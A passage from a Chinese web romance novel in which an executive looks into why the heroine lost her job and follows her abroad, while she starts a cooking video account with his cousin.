这边领导们严阵以待,结果只是接机,后面都没见上面,不知道施友臻过来密谈了什么业务。 施恩永也不知道大哥过来干什么, 除夕那天他去门口“列队”迎接过施友臻,后面只听说施友臻除夕夜没在老宅待,返程去忙了,还被当成励精图治的典范,几位爷爷一个年假都在耳提面命。 施恩永留学的时候就喜欢在S国旅行过周末,喜欢这里治愈的阳光和绵延的海岸。今天公司的几位经理要外出谈事情,让他也跟着一起学习,刚出门口就看到站在对面抱着花发呆的漂亮女孩,施恩永怎么看怎么觉得眼熟,就直接打招呼,问着:“需要帮助吗?” 清茉被人搭讪,从发呆状态中清醒,本能拒绝着:“不,谢谢。” 一听都是母语,自然拉近距离,恩永继续追问着:“迷路了吗?” 清茉对融恒的人抱有好感,也抱有戒心,说着:“没,散步走走。” 恩永是直来直去的年纪,心里怎么想,嘴上就怎么说,直接就问着:“可以留个联系方式吗?” 清茉原本想拒绝,大概是阳光太好,心情松懈,又觉得在异国他乡也是要面对融恒熟悉的标识,有几分文艺作品中才有的起承转合感,估计跟施友臻斗智斗勇久了,天天琢磨来琢磨去跟军训一样,这会心态超平稳,没有惧的,说着:“加平台账号吧。” 她最近在策划起号,多个活粉多个数据,少花几分买流钱。 清茉报了账号ID,恩永掏出手机搜索“ForestLIN”,添加上笑着说道:“互关一个?你在哪里念过书?总觉得见过。” 清茉也查看了下新增关注,对方ID名字是“ENENENENENENyongSHI”,莫名get到了笑点,问着:“你这是跟老外炫耀多重肯定可以表示否定吗?怎么不直接叫GOODGOODGOOD或者RIGHTRIGHTRIGHT。” 从小最烦别人念他的施恩永终于他乡遇故知,眼睛都亮了,朗声笑道:“你怎么知道我故意嗯嗯嗯?哈哈哈哈哈,不过也是我中文名字嘛,施恩永,正好了对不对。” 清茉一愣,重新拼了下名字,立马后悔。 施恩永,一听就是施家人,而且……清茉打量着眼前的男孩,也怨不得他问是不是在哪里见过,确实小时候见过,施恩永小名恩恩,少衡某个叔叔家的小孩,周末会凑到少衡家里玩,是少衡的跟屁虫,小时候白白胖胖软软糯糯,清茉爱捏他腮帮子和屁股蛋儿。 清茉:“……” 恩永看着清茉的账号,惊奇问着:“喔哦,刚去徒步了吗?这条路线我也很喜欢,要不要试试骑行?” 清茉:“……” 恩永同事车子已经开出来,喊他出发,恩永朝清茉挥挥手机,说着:“线上联系,很高兴认识!是住附近吧,那期待下一次偶遇!” 清茉:“拜拜。” 施家的男孩子,好像除了施友臻,都养得很阳光快乐自信,施家确实是家风很正的大家族,清茉理了理花束,决定以后还是绕开这条街吧,又觉得,也没必要,正常生活就好。 倒也没什么诧异惊慌的,世界这么大,总是会认识新的人,遇到新的事情。 跟温迪教授约定见面的日子很快来到,温迪教授干练又温和地欢迎了清茉,带她参观了下研究室,概括地交流第一年的主要任务,确定研究方向,搞定开题。对于卷习惯了的清茉来说,并没有多复杂和困难,温迪教授平时飞来飞去也很忙,估计大部分时间会在线上交流。 清茉跟这里气场很契合,整个人都是松懈下来,沿着校园道路散步,可以走得很慢不必赶时间,随时看到装潢有特色的街边小店就走进去,露天喝杯咖啡,随手翻几页书,脑子可以很空,什么都不去想,就是看着蓝天,绿树,和斑驳的树下光影。 清茉随手拍了照片,坐在街边餐厅点了简餐,开始挑选照片编辑,在平台上发了一条,她还没找到起号的爆点,流量很少,但是马上竟然有了留言提醒。 ENENENENENENyongSHI:M大?刚从那里跑步出来,可惜没有偶遇! 恩恩怪不得从小能跟少衡玩一块,讲话的风格语气都很像。 清茉这个新账号,没有露脸的内容,主要记录生活,美食美景旅行学习,图文内容、视频内容都有,她刚处于摸索阶段,视频剪辑也在专门学习,刚开始完全摸不着头脑,最近慢慢起色,她的目标很明确,一方面记录生活,一方面,用流量挣点广子钱。 目前的留学全是出项,没有进项,打工也考虑过,总觉得身心都乏乏的,还没有恢复到精神抖擞的状态,一旦社交和工作,难免又陷入新的疲惫期,清茉攥着卖房的“巨款”,还是决定奖励给自己一个休养生息的时间段。 顺着恩永的账号看,这小子符合富家留学生的做派,Po出来的内容光怪陆离,还有点非主流,清茉突然想,如果按照原先的轨道,她可能会跟恩永一样,无拘无束玩在一个圈子,一起笑话被施家事业紧紧束缚住的施少衡。 如果去融恒集团求职,施友臻会给安排什么职位?他看起来并不是宽容的BOSS,手下都是精兵悍将,效率高得令人发指,会给清茉安排什么工作呢?或者压根就不会让她进融恒集团的门。 给施友臻做个花瓶前台也不是不行,林家大小姐给施家当家的看门,清茉想着,自己先乐了。 剪辑视频也挺有意思,清茉一边学软件,一边试着拍摄记录,晚上在家里做了培根番茄煎蛋三明治,剪出来一小段视频放上去,ENENENENENENyongSHI立刻留言:“看起来好美味!怎样才能吃到!” 施恩永小时候也挺能吃,一顿饭三个奶黄包三个豆沙包,少衡比他大好几岁都吃不过他,现在看着比少衡还高一点,没少吃吧。 清茉这次回了他:50欧。 ENENENENENENyongSHI:成交!我在公司门口等!现在! 清茉:“……” 清茉打包了一个出门,走到半路才想着,他估计吃一个不够。 天气很好,户外温度宜人,恩永坐在公司台阶上打游戏,清茉把三明治递到恩永面前,恩永眼睛亮了,起身接过来就要吃,还问着:“你会做中餐吗?” 清茉:“中餐就是另外的价钱了。” 恩永:“花钱就可以?” 清茉一愣,迟疑了一下,说着:“有时间的话。” 恩永:“好吃,那我跟你订餐怎么样?在外面什么都好,就是吃不好,你简单的三明治都能做得这么美味,其他的应该也好吃,真的花钱就可以?” 好像比剪视频来钱更快,清茉忍笑,说着:“钱是万能的对吧?” 恩永:“千金难买好中餐,小姐姐怎么称呼,我想吃韭菜馅儿饼想疯了,明天可以吗?” 清茉忍笑:“萍水相逢怎么就让人当厨子?” 恩永:“这不是咱俩离得近嘛,碰到了就是缘分,我这么多年在外面养成的社交本能,见到同胞先问会不会做饭,我有个同学做饭好,我单独给他开了一份工资。” 清茉看着恩永两口干掉一个三明治,问着:“附近餐厅这么多,饿了怎么不去吃饭?” 恩永实诚:“我跟你网上随口说要吃,谁想到真拿来了?那我当然得等着!” 清茉:“……”她打量着恩永,疑惑问着:“这么能吃你怎么不胖啊?” 恩永:“我运动达人,消耗得快,明天能有韭菜盒子吗?我爱吃多放韭菜少放鸡蛋的。” 清茉觉得太好笑了,就答应道:“行,午餐吗?我给你送过来。” 恩永:“得嘞!我给你转钱!” 清茉没真的打算收费,她也没做过韭菜盒子,权当打发时间的尝试,好吃不好吃另说。 后来也想,为什么当时真的打包了一个三明治就过去了,复盘来复盘去,大概是对于戛然而止的两段过去,潜意识里深觉遗憾。 林家巨变的时候留不住财富,留不住原本无忧无虑潇洒成长的人生,也留不住身边的亲密朋友。她虽然独立又坚强地硬抗着走了过来,但是已经打上了敏感和卑微的痕迹,所以第二次抽离,也是百因必有果。 理智上考虑得明明白白,但是遗憾是没有办法抹杀的。 清茉打包三明治的时候,脑子里想着小时候白胖胖跟在他们后面一起捣蛋的小孩恩恩,还有一脸不屑路过的施友臻。 施友臻要是知道她能遇到恩恩,不知道作何感想,世界很大,又很小,跟人一样矛盾,可以斩钉截铁地切断联系,也可以在安全范围内,稍稍露出一点点链接过去的温情。 第58章 第五十八章 施妈妈最近非常疑惑,…… 施妈妈最近非常疑惑, 她大儿子施友臻这段时间竟然抓不到踪迹,不住在澜湾,也没有在狮麟, 施妈妈有点不好意思当面再问,怕打扰到儿子老铁开花,就悄咪咪跟章宁打听, 章宁被问得相当为难,倒不是答不上来BOSS夜宿哪里, 是觉得目前情况无法一言以蔽之, 就支吾说着让施妈妈还是亲自过问比较好。 章宁确实不知道怎么概括目前的情况, 他也很费解。 施友臻有自己的节奏, 林小姐之前的住房已经完全被重新改造, 现在像施友臻避世的基地,不知道BOSS是不是弥补小时候没有玩过秘密基地的幼稚游戏,反正现在像迟到的叛逆期, BOSS下班就窝在林小姐房子的方寸之间, 甚至还会订购蔬菜蛋肉下厨。 一个人把日子有滋有味地过成两个人的模样,实在太诡异了。 再有就是, 他近日在施友臻的授意下, 约谈了晓杨。 章宁是集团总部排名第一的大秘, 晓杨被通知谈话的时候以为自己要借调过去,特意准备了一番, 忐忑地在集团总部的顶层会议室等待, 心里还感慨总部氛围就是不一样,人到底是得往高处走。 结果章宁进来,问的竟然是关于林清茉的问题。 章宁客气道:“辛苦跑过来一趟,之前电话里也聊过几句, 我们收到林清茉的简历,是您投递的吧,想从您这里多了解一些情况,就当是背调。” 好像也合理,晓杨没想那么多,她人事工作做得久,知道怎么得体应答。章宁问得很细致,从实习期间开始问,岗位变动、工作内容、部门结构、工作能力、公司内部人际关系,敏感一点的也问了薪金构成和绩效考核。 章宁客气说着:“因为您是前公司直接的人事主管,所以就想多了解一些,在此基础上也会进一步去原公司背调,当然不方便透露的话可以给个简约讲一下大概。” 其他的问题都还好,晓杨说得条理,林清茉工作确实干得不错,晓杨润色得没有负担,薪酬跟绩效的问题,晓杨则遵守原则,只字不漏,虽然清茉离职前的绩效有异议,融恒真的去公司里背调估计听不到什么好话。 果然章宁又问了最后一个问题:“她离职的原因,您了解吗?” 晓杨犹豫了下,有些话到底不该从她这里出口,就摇头道:“可能是有别的安排吧。” 章宁倒是挺赞许晓杨的专业度,谢道:“感谢您,对了,最近跟林小姐有联系吗?” 晓杨否认道:“不瞒您说,年前一起吃过饭,年后一直没联系上,她电话打不通,我怀疑是不是换号码了。” 送走晓杨后,章宁把得到的有效信息整理好,呈给施友臻,施友臻看完后,并不满意,让章宁再约一次晓杨,他要亲自谈。 章宁料到会是这样,也不意外,晓杨的专业度意味着不会透露林清茉的真实情况,倒是个很值得信任的朋友,所以关键问题还是得BOSS亲自去搞定,章宁再次好奇施友臻会以什么身份什么理由撬动晓杨的嘴。 所以晓杨隔天再次被约到融恒总部顶层会议室的时候,有点莫名其妙,章宁把她安排到会议室后,就退了出去,等再进来人,晓杨本能地礼貌站起来,但是愣住了。 施友臻客气道:“您好,我是施友臻。” 晓杨有点懵圈和紧张,不知道NO.1的大佬需要跟她聊什么内容,只在照片上见过施友臻的模样,这样隔着会议桌面对面坐着,压迫感扑面而来,晓杨很局促地问候着:“施总您好。” 施友臻把林清茉的简历推到晓杨面前,问道:“能够帮忙投简历,应该是不错的朋友,你们前后脚离职的原因是?” 晓杨一个字一个字斟酌,说着:“也是赶巧了,都有各自新的发展规划。” 施友臻手指敲了敲桌子,打断道:“跟章宁讲过的话,没有必要再重复一遍,你的时间节点还算正常,林清茉为什么年前突然离职?” 晓杨也是极其聪明的女孩,摸爬滚打这么多年,心眼儿来得快,心里突然闪过一个念头,不破不立,她干脆问着:“清茉离职的时候,突然开了一辆没见过的豪车来办手续,冒昧问一下施总,是您的车吗?” 施友臻倒是另眼相看了,点头肯定。 晓杨琢磨了一下,又问了句:“方便问一下什么关系吗?说实话,清茉最近怎么都联系不上,我有点担心,您跟她保持联系吗?” 施友臻点头,替清茉跟朋友解释道:“她去留学了,谢谢关心。” 晓杨一听,这还替清茉客气地谢谢上了,心里轻松几分,有了数,就直接讲道:“她可能不爱说这些事,年前公司领导突然给清茉绩效降级,后来公司团建,清茉都没去,但是出了集体食物中毒的安全事件,公司里小团体排挤站队比较严重,这锅背来背去就背清茉头上了,不过……” 晓杨看了眼施友臻脸色,继续说着:“不过,根据我的了解,应该还有别的事情,董事长把亲戚家的小孩介绍给清茉处对象,清茉没答应,闹得不愉快,公司就直接把清茉辞退了,后续补偿很多经我的手办理,还算是合法合规,但是辞退清茉这事儿,挺无语的,她在公司年岁不短,一直兢兢业业。” 施友臻又问询了这些事情的具体时间,一件一件也就对上了,赶着去医院照顾的同事估计就是晓杨他们,在她公司附近日料店遇见的男人,大概就是领导介绍的相亲对象,那段时间的情绪低落,就是被辞退前后。 施友臻有过心理预期,但是听到旁人讲出这些,心情很怪,他其实很难代入基层打工人的心路历程,他从来都是发号指令、被人服务,而清茉则一直在打工,活在各种人的脸色中讨着薪金,会被排挤,被污蔑,被无理由辞退。 这甚至是清茉非常努力奋斗才得到的结果。 清茉自己扯谎说放得开,来者不拒,他在刚开始的那段时间里,何尝没有过轻视,包括日料店里的那次,看着男人给她戴上项链,听着她炫耀多少钱,心里是轻视不满的,哪曾想,这是她独自面对的职场骚扰的一部分。 那时候也够混蛋的,有次还打了她手心。 清茉为什么不澄清呢?她在冷眼看着这一切不是吗,承受着世界的参差,目睹他的傲慢和偏见,被伤害之后,却还是会软软地靠近喊一声“哥”,想汲取一点温暖,但是又不敢信任,她太了解这个世界的残酷。 无依无靠,没有亲人关心,也没有背景靠山,助学金完成学业,毕业后在能力范围内找到薪金最高的工作,努力攒钱买一处小房产,上司想怎么欺负就怎么欺负,轻飘飘一句话就丢掉仰仗着生存的工作。 她把房子卖掉的时候,是不是很难过。 清茉的经历,是施友臻无法共情的世界和生存模式,但是不妨碍施友臻觉得心里很堵。 面谈时间不长,施友臻起身,说着:“非常感谢。” 晓杨被BOSS客气的话搞得更不安,施友臻又补了一句:“共事这些年,多谢关照清茉,日后在融恒好好发展。” 晓杨一愣,试探问着:“您追究这些的原因,方便问吗?” 施友臻没反感,说着:“总要有个交代。” 晓杨似懂非懂点头,章宁送晓杨下楼,晓杨小声问着:“是我想的那样吗?” 章宁笑道:“哪样?” 晓杨了然点头:“厉害啊茉茉,这没良心的,留学了怎么不跟我说一声,我白投那么多简历。” 章宁:“应该感谢您的古道热肠。” 晓杨:“不敢当不敢当,我怕说多了,对茉茉不利,但是施总应该不至于。” 章宁:“放心吧,您以后在施总这里是VIP,好好干,转正之后总部人事部门会去考核,加油,把握好机会。” 晓杨:“啊?啊!真的吗?” 章宁送走晓杨下楼,施友臻已经恢复如常,但是对章宁说着:“找个项目理由,约清茉就职原集团的负责人过来洽谈。” 晚上下班前,施妈妈打来电话,约他一起吃晚餐,施友臻并没有跟人共进晚餐的心情,拒绝后回到了清茉的房子。 他在这里反而有种踏实和宁静的感觉,澜湾或者狮麟空旷的空间并不能令人愉快,清茉短暂住在狮麟的时候,倒还算可以。 施友臻一遍一遍想着今天跟晓杨了解的情况,打开邮箱给清茉发来封邮件: “还款日提示,倒数第三天。” 他知道清茉不会回复,也觉得这种索要赔偿的行径幼稚可笑,但是人与人的联系,总得有联系的理由,就像是这次,如果他不追究,不深究,可能就真的断了。 施友臻整理好床铺,安稳躺下,他在这里睡得格外踏实,很享受深度睡眠的快乐,今天临睡前,顺便订好了机票,准备开启第二次航程。 稍微理解了一些清茉退缩的原因,所以他必须要加倍固执。 第59章 第五十九章 融恒集团合作的项目没…… 融恒集团合作的项目没有小单, 林清茉原集团接到洽谈邀请的时候,非常爽快应约,总经理带队, 还有几个相关板块的副总,包括当时主管清茉的何副总。何副总年前传过要离职,但是目前也并没有离开, 看样子是要继续留下来。 对接双方出席人员的时候,座谈会会议议程中, 并没有列入施友臻, 是集团的一位副总和章宁秘书组会参会, 被章宁拽去参会的副总一脸莫名其妙, 他们要谈的项目其实已经有合作方, 不知道BOSS点名要新的公司掺和进来几个意思。 章宁神神秘秘嘱咐道:“您就当正常合作聊,其他的我来主导,BOSS有别的事儿要谈, 待会BOSS进来的时候, 您就抬屁股出去,留施总单独谈。跟咱们业务没关系, 您那边一切照旧, 该跟谁合作还跟谁合作。” 副总应了, 想八卦,章大秘在嘴巴上拉拉链。 果然他们聊到一半的时候, 施友臻走了进来, 双方都起身,清茉原集团的总经理特别热情地移步上前跟施友臻握手,恭维道:“久仰久仰,能见到您真是太幸运了, 感谢贵集团给我们这次机会,刚才聊了一会受益匪浅。” 施友臻请他们落座,融恒副总借口有会,先出去了,章宁简单汇报了下刚才聊的业务内容,话锋一转,问着: “说起来,我秘书室最近收到份简历,叫林清茉,之前正好也在贵集团任职,我们的拟录用岗位比较核心,今天请几位领导来,也是想当面做一下背调,毕竟她入职后要负责融恒高层的机要保密工作,对于人品和工作能力,要求严格。如果没问题,后续倒是可以让她跟进跟贵集团的合作,毕竟比较了解。” 章宁这话一出,对面几位相互交流了眼色,做背调不可怕,可怕的是万一林清茉顺利入职,真的负责对接,那估计没什么好处,毕竟辞退的时候并不愉快。总经理干脆将这个问题抛给了何副总,说着:“那今天还真是赶巧了,何副总就是林清茉的直属领导,她最了解情况。” 何副总看了总经理一眼,斟酌说道:“我确实是她直属领导,林清茉在职时间不算短,一直在文秘机要岗位,工作能力还不错,不过是文科出身嘛,对业务不算太了解。还有就是,做事情有些生硬,行政岗位毕竟是跟领导们打交道的岗位,不瞒您说,她离职,也是我们董事长定的。您既然这么慎重地问询,我们公司肯定也是实话实说,尤其是年前一段时间,她出了比较多的工作失误,工作态度还好,工作能力可能不太能够胜任,融恒集团的任务估计会更艰巨,要是录用重要岗位的话,还是建议慎重考察吧。” 总经理见何副总讲得这么直白,也是有些意外,可见何副总是真的见不得林清茉好,但是他也坐享其成,顺着何副总的话讲道:“小姑娘确实很漂亮,但是不够变通,有时候沟通不太顺畅,还需要再磨砺磨砺。” 章宁如坐针毡,看了眼施友臻脸色,但是施友臻看不出情绪波动,平稳地问了句:“听说贵集团,发生了集体安全事件,贵集团被当做案例被上级单位通报过,是跟林清茉的工作疏忽有关系吗?背调的时候道听途说了几句,这个很重要,我们需要当面核实一下。” 总经理看了眼何副总,何副总面不改色应答着:“对,本来是家丑不外扬,您既然这样问了,那我们也实话实说,确实是因为她工作疏忽,对活动执行没有监管到位。” 施友臻点头,说着:“所以结论是,她工作能力、沟通能力都欠佳,并且出现过重大工作纰漏,属于被贵集团清退人员。” 总经理顺着施友臻的话,点头道:“对,要是普通岗位,也无所谓,要给年轻人容错率嘛,但是您讲的是融恒核心机要岗,那还是建议慎重。” 施友臻点头,又问了句:“她人品怎么样?” 何副总笑道:“都是上下级工作关系,私底下生活作风我们也不太了解,您可能也见过简历照片,小姑娘很漂亮,又是行政岗。” 施友臻追问着:“您的意思是,她私下生活作风也有问题?” 何副总说着:“也只是道听途说,年轻人嘛,玩得比较开。” 施友臻放下林清茉的简历,正色道:“道听途说就可以在这么严肃的背调场合当成证据,信口开河毁掉一个人工作机会?” 何副总一愣,立刻解释道:“抱歉抱歉,是我讲话疏忽,所以我们也只能陈述工作实际情况,其他的还真是不了解。” 施友臻点头,章宁把握节奏,说着:“今天辛苦各位来融恒,感谢,以后加强联系,相信会有很多合作机会。” 施友臻起身,章宁客气地将这一行人送走。 章宁送完人,去施友臻屋里送文件,施友臻问他:“怎么看?” 章宁倒也实话实说,讲着:“作为稍微了解林小姐的朋友,当然觉得是污蔑,不过职场上的事儿,就是这样,各人有各人的算计,官大一级,就是有话语权,哪怕先前听过晓杨的版本,如果不了解林小姐本人,可能还是会倾向于相信领导们的陈述。要是站队,我站林小姐,并建议日后也不要沾这个集团,领导们都心术不正,业务能好到哪里去。” 施友臻倒是比想象中的松弛和平静,问章宁:“你什么时候,也是林小姐的朋友了?站队站得这么爽快,林小姐给了你什么好处?” 章宁乐,说着:“同为行政职务的林小姐一直好奇我的薪水,并对我没日没夜时刻服务您的私人行程表示同情,当然,我解释过拿两份薪水之后,林小姐表示理解但是仍旧同情。” 施友臻想,清茉倒是真的很容易交到朋友,交到的朋友也是很值得信任的人品,六六也好,晓杨也好,丹尼也好,甚至是章宁,有时候看着不够精明,其实这些人身上保有一种难得的纯真、正直和诚意。 林清茉自己也是。 层级分明的职场社会并不会给予这种正直和纯良很多生存空间,遇到伯乐可以是千里马,遇不到就是被人随意构陷唾弃的炮灰,自以为全心全意为工作付出,其实是为他人作嫁衣裳。 很可笑的投入产出比。 施友臻想着方才那些人的嘴脸,对章宁道:“融恒现在和未来都不会跟他们合作,在他们业务相关领域可以广而告之,他们是融恒黑名单榜首。” 施友臻一向公私分明,章宁接收道这个指令后犹豫了一下,施友臻知道他怎么想的,就更加直白说着:“令人作呕。我认为偶尔可以使用公器私用的权力。” 章宁:“当然。” 办公室安静之后,施友臻细想着与林清茉的相处过程,得出的结论令人不怎么愉快: 他自己与这些人,又有什么不同。 本质上说其实一样,掌握着高于林清茉的资源、权力和金钱,默认她的顺从是应该的,潜意识中已经进行了很多等价交换,施友臻觉得自己甚至更恶劣,他会更加理所当然地给予林清茉好处,并且急切地想将身体本能的Y望付诸实践。 他之前觉得少衡不了解清茉,现在想,是他自己都没有去了解林清茉的耐心,他自信地觉得自己看到的就是真的,自己思维逻辑中清茉应该做出的选择才是最正确的选择,就像她不该离开,不该留学,而是应该紧紧依附在他身边,用更容易地方式获得,或者索取。 这也是清茉将翡翠镯子留在狮麟别苑的原因吧。 施友臻点开手机里保存的清茉照片,是清茉给丹尼拍摄的那组模特照,房屋交易期间,施友臻把丹尼的这套作品成衣,连同当时的拍摄照全部买断,并给了丹尼其他的资源作为补偿交换。 珍珠和蕾丝衬得清茉纯真又妖娆,施友臻不否认自己的生理喜欢,但是回想着那些急切和激烈的深吻,竟然也生出些愧疚和悔意,是吓到她了吧,让她认为天下男人都是一样的,认为是等价交换的一部分。 施友臻周末还是按照原计划,直飞了S国。 抵达机场的时候,S国正在下雨,润泽雨水中城市景观别有风韵,应该也是清茉喜欢的那种氛围,她可能坐在哪扇窗后,很文艺闲适地看着窗外。 施友臻这次没有通知融恒驻外的人,自己直接入住了酒店。他挑选的酒店在M大附近的街道上,街角的视野很好,能看到好几个方向的行人,房间窗户斜对面是一家花店。 施友臻选择酒店的时候,看到了酒店街道外带着花店的街景,他当时想,小花店的门头装饰是清茉喜欢的风格,如果她路过,很可能会驻足去买鲜花,捧着一束明艳的鲜花,无忧无虑走在灿烂的阳光中。 偶尔跳脱出严丝合缝的理性逻辑,去相信阳光和鲜花也不错。 施友臻想这么试一试,他甚至想,如果林清茉非要把他当成陌生人擦肩而过不搭理,他也可以暂时接受。 当然,并不见得一定会遇到。他跟上次一样,仍旧只给了自己二十四个小时,时间到,就准时返程。 第60章 第六十章 清茉最近的生活已经步入正规…… 清茉最近的生活已经步入正规, 学校中的课程自然不用说,也结识了五湖四海的新同学,硕士学历是一个门槛, 博士学历是另外一个,她愈发觉得决定出来是正确的,心境开阔, 目标也明朗。 所以心底还是有点感谢施友臻,虽然仍旧没有回复他的追款邮件。 徐阿姨提供的住房位置也方便, 离学校近, 路过一段生活气息浓郁的街道商区, 经过融恒驻外办事机构的小楼, 每天来回好几次看到融恒的LOGO。施恩永偶遇几次后, 也摸清了林清茉的路过时间,偶尔快到点儿了就在窗户上或者户外楼梯上跟清茉打招呼。 他俩最近倒是因为韭菜盒子促成了新的合作,超越金钱关系。 清茉之前精心剪辑, 讲究光影意境的那些帖子, 流量低迷,她还处于试探阶段, 没着急推流, 想看看什么题材的自然流量高, 但是估计大家现在的审美看多了小资情调,什么落日街边咖啡馆、异国街头艺人、海边徒步美景, 都反应平平, 十几个人留言说好美,就翻篇了。 清茉万万没想到,火的是韭菜盒子。 清茉在国内做饭都是简易版,西红柿炒鸡蛋, 炝锅面之类还是可以的,但是面食实在没怎么搞过,发面都发不明白,这种带着馅儿的,更是第一次搞。她一边手忙脚乱地尝试,一边录制视频,做的时候没想那么多,支着平板边看菜谱步骤边学,剪辑发出去的时候,也没多想。 结果第二天睡醒,后台就是999+信息提示。 网友们对此评价是:符合留学生刻板印象了。清茉前面的视频都是优雅格调,厨房里一顿韭菜盒子搞得鸡飞狗跳,网友锐评:“谁进厨房谁疯”“今天又是哪位在硬凹厨艺”…… 清茉炒鸡蛋的时候翻炒老了,想着待会少洗个碗,就直接把韭菜也倒进去一起炒了,网友们目瞪口呆,然后从炒鸡蛋的火候,点评到韭菜生了还是老了,多了还是少了,从烙韭菜盒子放油还不是不放油,到为什么不放虾仁,又到她为什么一次只包三个。 当然还夹杂着宽韭菜还是细韭菜,S国哪里卖的味儿正宗,甚至有人晒了自己在家种的韭菜苗。 恩永当天吃到韭菜盒子的时候,觉得哪里不对,又讲不出来,看着清茉一脸期待地等着反馈,恩永仔细尝了尝,三口两口干掉两个,清茉站在旁边,看着恩永坐在台阶上大口吃掉貌似很香,好奇问着:“你给我留个角,我尝尝。” 恩永:“?你自己没尝就给我?你就包了三个?” 投喂目的单纯的清茉坦诚说着:“味儿重,吃了烧胃,我不爱吃,你怎么吃这么香,给我一个小角,我尝尝咸淡。” 恩永虽然觉得这味道跟家里包的不一样,但是也觉得不错,小气地给她拧了个小角,清茉皱着眉头吃掉,问着:“是不是鸡蛋有点少?” 恩永:“好吃,我给你钱。” 清茉:“先不用,我做着玩。” 恩永:“下次能不能多做几个?我在家的时候一顿能吃十个。” 清茉:“……哪天我闲着了再说。” 恩永本来还想点下顿吃牛肉馅儿饼,清茉不收钱他怪不好意思,看着清茉着急去学校,就没开口。第二天他也发现清茉韭菜盒子视频火了,正主现身留言: “好吃,不够,三秒干掉,韭菜味突出,鲜。” 恩永看这个视频数据还在涨,后台给清茉留言:“你是不是想做账号,干脆就搞留学生做饭的赛道?下一顿牛肉馅儿饼?” 清茉看着自然流量的数据就爆成这样,也觉得挺无语,算是无心栽柳柳成荫了,觉得可以试试。 结果第二个视频也火了,因为恩永的牛肉。 流量也是挺玄学,第二个视频数据甚至远超第一个一大截。清茉不收钱,恩永不好意思,就干脆搞了块牛肉,公司门口等着清茉,给路过的清茉捎回家。清茉一直没给恩永直接的联系方式,恩永倒也没觉得异常,小姑娘独自在外,保持距离也值得理解。 清茉没多想就把牛肉拎回去剁了,录出来视频发布上去,网友们根据拆出来放在一旁的包装,扒出来牛排的定价跟等级,集体对着剁进去洋葱馅儿的肉馅儿指点江山。 因为恩永给她捎了块等级太高的牛排,她就这么给剁了。 恩永配着弹幕刷视频都乐喷了,分享给公司里同事们一起看,有几位同事跟清茉打过照面,也觉得超有趣,都在评论区点单,让清茉做一些超复杂中餐,还怂恿恩永加入视频录制,清茉做饭,他吃播,绝对爆。 刚爆了两条,清茉后台甚至已经有广告商邀请合作了,她还有点懵懵的,最近又准备开题材料和外地的几个学术交流讲座,忙了些,恩永在公司门口望眼欲穿等了几次都没等到,清茉那天匆匆路过终于被恩永碰到,清茉一想,干脆把自己新的手机号留给了恩永。 恩永乐:“终于给了?” 清茉说着:“你有空琢磨下拍哪个能继续火,我要外出一周参加学术活动,回来继续,有想法发信息联系。” 评论区一片,恩永自动当了客服,组织了一次投票,得票最高的是大馅儿发面包子。 恩永发给清茉,清茉也挺无语,大家这是想看她尝试发面失败的乐子吧。 把新的联系方式给了恩永后,清茉回到家想了想,也给昔日好友们发了一圈,唯独没有给施友臻和施少衡。 少衡最近虽然也在找清茉,但是年后他被施友臻突然压着增派了任务,兼任了外地一个公司的负责人,不仅来回奔波,而且要投入巨大的精力跟进项目,他经常跟六六打听清茉的事情,因为隐约猜到清茉是有意拉开距离,他又实在太忙,就只能先这么搁着了。 六六收到清茉新号码简直要泪流满面了,这也意味着清茉算是彻底稳定了下来。 出国参加完会议,周末清茉终于回到家里。毕竟是租住徐阿姨的房子,清茉没有动房子里软装的热情,对于房子跟对于初恋一样,那么用心对待的机会只有最初的一次,清茉想着被自己卖掉的家,心里还有些遗憾。 清茉在这个房子里唯一新置办了一个花瓶,离花店很近,她会让花瓶里,保持着鲜花盛开。 出差进屋,清茉简单收拾好行李,看着花都枯萎了,就先出门买花,阳光太好,有想买大捧玫瑰花的冲动。 施友臻就这样,在没有报什么执念和希望的情况下,就在他酒店房间的窗口,看到了突然出现,仔细挑选着鲜花的林清茉。《 》 60-70 第61章 第六十一章 花店老板是位很有生活格调…… 花店老板是位很有生活格调的中年女士, 用五彩缤纷的彩色碎瓷片装饰了花店外墙,每天把制定的铁艺花架上摆满当天最新鲜的花朵,远远就能闻到沁人心脾的芬芳。她对东方来的新邻居格外热情, 会很有耐心地介绍当天她最中意的花朵。 老板热情问着清茉几天未见的缘由,说着:“那你一定非常想念这里的阳光和鲜花对吗?那边阴雨天实在太多了,心情都会变得阴郁。” 清茉挑选了几个颜色的玫瑰花, 拼成一大束,应着:“当然, 所以刚回来就第一时间赶了过来, 我的房间没有鲜花就没有了灵魂。” 老板给包装花束的间隙, 清茉又挑了一小束薰衣草, 准备回去放些日子做成干花香包, 老板还多送了清茉几支,抱在怀中满满一抱,她笑着跟老板告别。 施友臻像定住似的, 停驻在窗口, 看着清茉在花店门口买鲜花。异国风情的街道中,猛然见到一直挂念的人出现, 天空湛蓝, 阳光明媚, 花店外半人高的围墙泛着陶瓷的碎光,亭亭玉立的女孩站在鲜花丛簇之中, 恍如一场穿越时空的大梦。 距离不算近, 也不太远,依稀能看清林清茉脸上轻松愉快的笑容,她看起来阳光元气,重要的是, 很愉悦的样子。 施友臻已经很努力地去了解清茉的过去,去理解她选择的动机,挖掘了那么多,亲眼见到她目前的状态,才是最心惊。因为不得不接受,林清茉选择来这里,不管是蓄谋已久还是临时起意,看起来都更加轻松愉快。 施友臻怀疑,不,或者说几乎确认,自己并不在林清茉的人生规划之中。 楼下抱着花捧的人已经跟店家告别,施友臻这才惊醒一样,快步走出房间,楼层并不高,他没有等电梯,直接从楼梯间下楼,再抬眼看对面的花店,已经没有林清茉的影子了。 花店前面就是个岔路口,有三个方向,施友臻站在那里望去,还是看到了清茉的背影,他人生中极少出现这种犹疑不决的时刻,他站在岔路口,竟然迟疑,好像打扰也是一种罪过,她不会喜欢。 林清茉不会喜欢这种冒然的打扰。 施友臻站在那里,看着清茉渐行渐远的背影消失在另一个拐角,想着她住的地方应该离这里不远。施友臻沿着清茉走过的街道,往前走了一段,也走到清茉转角消失的那个路口,再抬眼,已经看不到人了。 其实缓步徐来的时候,已经下了决定,他不想做煞风景的那种人,步步紧逼不见得就能得愿以偿,何况她原本就选择了退缩。 再或者,世间如果强求就能求得,未免也太容易。施友臻走到拐角停住了脚步,他想,走到这里,出现在这里,贪恋多看一次,已经是他强求的结果了。 施友臻转身往回走,原本积攒的愤怒和不解,想要抓住人当面质问的凶狠和急迫,在前一段时间里已经被消磨得差不多,看到她在阳光下的轻盈和快乐,真的要成为当面质问和步步紧逼的不速之客吗? 